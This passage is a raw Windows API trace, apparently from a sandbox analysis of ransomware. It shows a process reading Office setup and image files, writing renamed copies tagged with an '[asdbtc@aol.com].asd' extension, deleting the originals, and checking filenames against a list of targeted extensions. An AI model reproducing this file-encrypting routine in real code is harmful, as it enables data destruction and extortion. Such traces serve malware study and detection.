lpNumberOfBytesWritten=0x2c7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3760020*, lpNumberOfBytesWritten=0x2c7fc9c*=0x760, lpOverlapped=0x0) returned 1 [0051.027] ReadFile (in: hFile=0x20c, lpBuffer=0x3760020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c7fed4, lpOverlapped=0x0 | out: lpBuffer=0x3760020*, lpNumberOfBytesRead=0x2c7fed4*=0x0, lpOverlapped=0x0) returned 1 [0051.029] WriteFile (in: hFile=0x1f0, lpBuffer=0x3760020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2c7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3760020*, lpNumberOfBytesWritten=0x2c7fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0051.030] SetEndOfFile (hFile=0x1f0) returned 1 [0051.030] CloseHandle (hObject=0x1f0) returned 1 [0051.031] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c7fec8 | out: lpNewFilePointer=0x0) returned 1 [0051.031] SetEndOfFile (hFile=0x20c) returned 1 [0051.032] CloseHandle (hObject=0x20c) returned 1 [0051.032] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\SETUP.XML.id-9C354B42.[asdbtc@aol.com].asd", dwFileAttributes=0x20) returned 1 [0051.032] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\project.en-us\\setup.xml")) returned 1 [0051.033] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\SETUP.XML") returned 103 [0051.033] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\SETUP.XML") returned 103 [0051.033] lstrlenW (lpString=".doc") returned 4 [0051.033] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0051.033] lstrlenW (lpString=".docx") returned 5 [0051.033] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0051.033] lstrlenW (lpString=".pdf") returned 4 [0051.033] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0051.033] lstrlenW (lpString=".xls") returned 4 [0051.033] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0051.033] lstrlenW (lpString=".xlsx") returned 5 [0051.033] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0051.033] lstrlenW (lpString=".ppt") returned 4 [0051.033] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0051.033] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\SETUP.XML") returned 103 [0051.033] lstrlenW (lpString=".zip") returned 4 [0051.033] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0051.033] lstrlenW (lpString=".rar") returned 4 [0051.033] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0051.033] lstrlenW (lpString=".bz2") returned 4 [0051.033] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0051.033] lstrlenW (lpString=".7z") returned 3 [0051.033] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0051.033] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\SETUP.XML") returned 103 [0051.033] lstrlenW (lpString=".dbf") returned 4 [0051.033] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0051.034] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\SETUP.XML") returned 103 [0051.034] lstrlenW (lpString=".1cd") returned 4 [0051.034] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0051.034] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\SETUP.XML") returned 103 [0051.034] lstrlenW (lpString=".jpg") returned 4 [0051.034] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0051.034] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\SETUP.XML") returned 103 [0051.034] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\SETUP.XML") returned 103 [0051.034] lstrlenW (lpString=".doc") returned 4 [0051.034] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0051.034] lstrlenW (lpString=".docx") returned 5 [0051.034] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0051.034] lstrlenW (lpString=".pdf") returned 4 [0051.034] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0051.034] lstrlenW (lpString=".xls") returned 4 [0051.034] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0051.034] lstrlenW (lpString=".xlsx") returned 5 [0051.034] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0051.034] lstrlenW (lpString=".ppt") returned 4 [0051.034] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0051.034] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\SETUP.XML") returned 103 [0051.034] lstrlenW (lpString=".zip") returned 4 [0051.034] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0051.034] lstrlenW (lpString=".rar") returned 4 [0051.034] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0051.034] lstrlenW (lpString=".bz2") returned 4 [0051.035] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0051.035] lstrlenW (lpString=".7z") returned 3 [0051.035] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0051.035] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\SETUP.XML") returned 103 [0051.035] lstrlenW (lpString=".dbf") returned 4 [0051.035] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0051.035] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\SETUP.XML") returned 103 [0051.035] lstrlenW (lpString=".1cd") returned 4 [0051.035] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0051.035] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\SETUP.XML") returned 103 [0051.035] lstrlenW (lpString=".jpg") returned 4 [0051.035] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0051.035] lstrcmpiW (lpString1=".XML", lpString2=".asd") returned 1 [0051.036] lstrlenW (lpString="Proof.XML") returned 9 [0051.036] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\Proof.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.es\\proof.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0051.161] GetFileSizeEx (in: hFile=0x208, lpFileSize=0x2c7ff1c | out: lpFileSize=0x2c7ff1c*=1457) returned 1 [0051.161] CloseHandle (hObject=0x208) returned 1 [0051.161] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\Proof.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.es\\proof.xml")) returned 0x20 [0051.161] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\Proof.XML.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.es\\proof.xml.id-9c354b42.[asdbtc@aol.com].asd")) returned 0xffffffff [0051.161] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\Proof.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.es\\proof.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0051.161] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c7fec8 | out: lpNewFilePointer=0x0) returned 1 [0051.161] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c7fec8 | out: lpNewFilePointer=0x0) returned 1 [0051.161] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\Proof.XML.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.es\\proof.xml.id-9c354b42.[asdbtc@aol.com].asd"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0051.162] GetLastError () returned 0x0 [0051.162] ReadFile (in: hFile=0x208, lpBuffer=0x3760020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c7fed4, lpOverlapped=0x0 | out: lpBuffer=0x3760020*, lpNumberOfBytesRead=0x2c7fed4*=0x5b1, lpOverlapped=0x0) returned 1 [0051.406] WriteFile (in: hFile=0x1e8, lpBuffer=0x3760020*, nNumberOfBytesToWrite=0x5c0, lpNumberOfBytesWritten=0x2c7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3760020*, lpNumberOfBytesWritten=0x2c7fc9c*=0x5c0, lpOverlapped=0x0) returned 1 [0051.407] ReadFile (in: hFile=0x208, lpBuffer=0x3760020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c7fed4, lpOverlapped=0x0 | out: lpBuffer=0x3760020*, lpNumberOfBytesRead=0x2c7fed4*=0x0, lpOverlapped=0x0) returned 1 [0051.408] WriteFile (in: hFile=0x1e8, lpBuffer=0x3760020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2c7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3760020*, lpNumberOfBytesWritten=0x2c7fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0051.408] SetEndOfFile (hFile=0x1e8) returned 1 [0051.408] CloseHandle (hObject=0x1e8) returned 1 [0051.428] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c7fec8 | out: lpNewFilePointer=0x0) returned 1 [0051.428] SetEndOfFile (hFile=0x208) returned 1 [0051.430] CloseHandle (hObject=0x208) returned 1 [0051.430] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\Proof.XML.id-9C354B42.[asdbtc@aol.com].asd", dwFileAttributes=0x20) returned 1 [0051.431] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\Proof.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.es\\proof.xml")) returned 1 [0051.431] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\Proof.XML") returned 98 [0051.431] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\Proof.XML") returned 98 [0051.431] lstrlenW (lpString=".doc") returned 4 [0051.431] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0051.431] lstrlenW (lpString=".docx") returned 5 [0051.431] lstrcmpiW (lpString1=".docx", lpString2="f.XML") returned -1 [0051.431] lstrlenW (lpString=".pdf") returned 4 [0051.431] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0051.431] lstrlenW (lpString=".xls") returned 4 [0051.431] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0051.431] lstrlenW (lpString=".xlsx") returned 5 [0051.431] lstrcmpiW (lpString1=".xlsx", lpString2="f.XML") returned -1 [0051.431] lstrlenW (lpString=".ppt") returned 4 [0051.431] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0051.431] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\Proof.XML") returned 98 [0051.431] lstrlenW (lpString=".zip") returned 4 [0051.431] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0051.431] lstrlenW (lpString=".rar") returned 4 [0051.431] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0051.431] lstrlenW (lpString=".bz2") returned 4 [0051.431] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0051.431] lstrlenW (lpString=".7z") returned 3 [0051.431] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0051.432] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\Proof.XML") returned 98 [0051.432] lstrlenW (lpString=".dbf") returned 4 [0051.432] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0051.432] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\Proof.XML") returned 98 [0051.432] lstrlenW (lpString=".1cd") returned 4 [0051.432] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0051.432] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\Proof.XML") returned 98 [0051.432] lstrlenW (lpString=".jpg") returned 4 [0051.432] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0051.432] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\Proof.XML") returned 98 [0051.432] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\Proof.XML") returned 98 [0051.432] lstrlenW (lpString=".doc") returned 4 [0051.432] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0051.432] lstrlenW (lpString=".docx") returned 5 [0051.432] lstrcmpiW (lpString1=".docx", lpString2="f.XML") returned -1 [0051.432] lstrlenW (lpString=".pdf") returned 4 [0051.432] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0051.432] lstrlenW (lpString=".xls") returned 4 [0051.432] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0051.432] lstrlenW (lpString=".xlsx") returned 5 [0051.432] lstrcmpiW (lpString1=".xlsx", lpString2="f.XML") returned -1 [0051.432] lstrlenW (lpString=".ppt") returned 4 [0051.432] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0051.432] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\Proof.XML") returned 98 [0051.432] lstrlenW (lpString=".zip") returned 4 [0051.432] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0051.432] lstrlenW (lpString=".rar") returned 4 [0051.433] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0051.433] lstrlenW (lpString=".bz2") returned 4 [0051.433] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0051.433] lstrlenW (lpString=".7z") returned 3 [0051.433] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0051.433] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\Proof.XML") returned 98 [0051.433] lstrlenW (lpString=".dbf") returned 4 [0051.433] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0051.433] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\Proof.XML") returned 98 [0051.433] lstrlenW (lpString=".1cd") returned 4 [0051.433] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0051.433] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\Proof.XML") returned 98 [0051.433] lstrlenW (lpString=".jpg") returned 4 [0051.433] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0051.433] lstrcmpiW (lpString1=".XML", lpString2=".asd") returned 1 [0051.433] lstrlenW (lpString="SETUP.XML") returned 9 [0051.433] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visio.en-us\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x210 [0052.790] GetFileSizeEx (in: hFile=0x210, lpFileSize=0x2c7ff1c | out: lpFileSize=0x2c7ff1c*=6241) returned 1 [0052.790] CloseHandle (hObject=0x210) returned 1 [0052.790] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visio.en-us\\setup.xml")) returned 0x20 [0052.790] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\SETUP.XML.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visio.en-us\\setup.xml.id-9c354b42.[asdbtc@aol.com].asd")) returned 0xffffffff [0052.790] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visio.en-us\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x210 [0052.791] SetFilePointerEx (in: hFile=0x210, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c7fec8 | out: lpNewFilePointer=0x0) returned 1 [0052.791] SetFilePointerEx (in: hFile=0x210, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c7fec8 | out: lpNewFilePointer=0x0) returned 1 [0052.791] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\SETUP.XML.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visio.en-us\\setup.xml.id-9c354b42.[asdbtc@aol.com].asd"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc [0052.791] GetLastError () returned 0x0 [0052.791] ReadFile (in: hFile=0x210, lpBuffer=0x3760020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c7fed4, lpOverlapped=0x0 | out: lpBuffer=0x3760020*, lpNumberOfBytesRead=0x2c7fed4*=0x1861, lpOverlapped=0x0) returned 1 [0052.793] WriteFile (in: hFile=0x1dc, lpBuffer=0x3760020*, nNumberOfBytesToWrite=0x1870, lpNumberOfBytesWritten=0x2c7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3760020*, lpNumberOfBytesWritten=0x2c7fc9c*=0x1870, lpOverlapped=0x0) returned 1 [0052.794] ReadFile (in: hFile=0x210, lpBuffer=0x3760020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c7fed4, lpOverlapped=0x0 | out: lpBuffer=0x3760020*, lpNumberOfBytesRead=0x2c7fed4*=0x0, lpOverlapped=0x0) returned 1 [0052.794] WriteFile (in: hFile=0x1dc, lpBuffer=0x3760020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2c7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3760020*, lpNumberOfBytesWritten=0x2c7fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0052.794] SetEndOfFile (hFile=0x1dc) returned 1 [0052.794] CloseHandle (hObject=0x1dc) returned 1 [0052.795] SetFilePointerEx (in: hFile=0x210, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c7fec8 | out: lpNewFilePointer=0x0) returned 1 [0052.795] SetEndOfFile (hFile=0x210) returned 1 [0052.796] CloseHandle (hObject=0x210) returned 1 [0052.796] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\SETUP.XML.id-9C354B42.[asdbtc@aol.com].asd", dwFileAttributes=0x20) returned 1 [0052.796] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visio.en-us\\setup.xml")) returned 1 [0052.796] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\SETUP.XML") returned 101 [0052.796] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\SETUP.XML") returned 101 [0052.796] lstrlenW (lpString=".doc") returned 4 [0052.796] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0052.796] lstrlenW (lpString=".docx") returned 5 [0052.796] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0052.796] lstrlenW (lpString=".pdf") returned 4 [0052.796] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0052.796] lstrlenW (lpString=".xls") returned 4 [0052.796] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0052.796] lstrlenW (lpString=".xlsx") returned 5 [0052.796] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0052.796] lstrlenW (lpString=".ppt") returned 4 [0052.796] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0052.796] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\SETUP.XML") returned 101 [0052.796] lstrlenW (lpString=".zip") returned 4 [0052.797] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0052.797] lstrlenW (lpString=".rar") returned 4 [0052.797] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0052.797] lstrlenW (lpString=".bz2") returned 4 [0052.797] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0052.797] lstrlenW (lpString=".7z") returned 3 [0052.797] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0052.797] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\SETUP.XML") returned 101 [0052.797] lstrlenW (lpString=".dbf") returned 4 [0052.797] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0052.797] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\SETUP.XML") returned 101 [0052.797] lstrlenW (lpString=".1cd") returned 4 [0052.797] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0052.797] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\SETUP.XML") returned 101 [0052.797] lstrlenW (lpString=".jpg") returned 4 [0052.797] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0052.797] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\SETUP.XML") returned 101 [0052.797] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\SETUP.XML") returned 101 [0052.797] lstrlenW (lpString=".doc") returned 4 [0052.797] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0052.797] lstrlenW (lpString=".docx") returned 5 [0052.797] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0052.797] lstrlenW (lpString=".pdf") returned 4 [0052.797] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0052.797] lstrlenW (lpString=".xls") returned 4 [0052.797] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0052.797] lstrlenW (lpString=".xlsx") returned 5 [0052.797] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0052.797] lstrlenW (lpString=".ppt") returned 4 [0052.797] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0052.797] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\SETUP.XML") returned 101 [0052.797] lstrlenW (lpString=".zip") returned 4 [0052.797] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0052.797] lstrlenW (lpString=".rar") returned 4 [0052.798] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0052.798] lstrlenW (lpString=".bz2") returned 4 [0052.798] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0052.798] lstrlenW (lpString=".7z") returned 3 [0052.798] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0052.798] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\SETUP.XML") returned 101 [0052.798] lstrlenW (lpString=".dbf") returned 4 [0052.798] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0052.798] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\SETUP.XML") returned 101 [0052.798] lstrlenW (lpString=".1cd") returned 4 [0052.798] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0052.798] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\SETUP.XML") returned 101 [0052.798] lstrlenW (lpString=".jpg") returned 4 [0052.798] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0052.798] lstrcmpiW (lpString1=".jpg", lpString2=".asd") returned 1 [0052.798] lstrlenW (lpString="GreenBubbles.jpg") returned 16 [0052.798] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\GreenBubbles.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\greenbubbles.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0053.112] GetFileSizeEx (in: hFile=0x204, lpFileSize=0x2c7ff1c | out: lpFileSize=0x2c7ff1c*=6406) returned 1 [0053.113] CloseHandle (hObject=0x204) returned 1 [0053.113] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\GreenBubbles.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\greenbubbles.jpg")) returned 0x20 [0053.113] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\GreenBubbles.jpg.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\greenbubbles.jpg.id-9c354b42.[asdbtc@aol.com].asd")) returned 0xffffffff [0053.113] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\GreenBubbles.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\greenbubbles.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0053.113] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\GreenBubbles.jpg") returned 74 [0053.113] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\GreenBubbles.jpg") returned 74 [0053.113] lstrlenW (lpString=".doc") returned 4 [0053.113] lstrcmpiW (lpString1=".doc", lpString2=".jpg") returned -1 [0053.113] lstrlenW (lpString=".docx") returned 5 [0053.113] lstrcmpiW (lpString1=".docx", lpString2="s.jpg") returned -1 [0053.113] 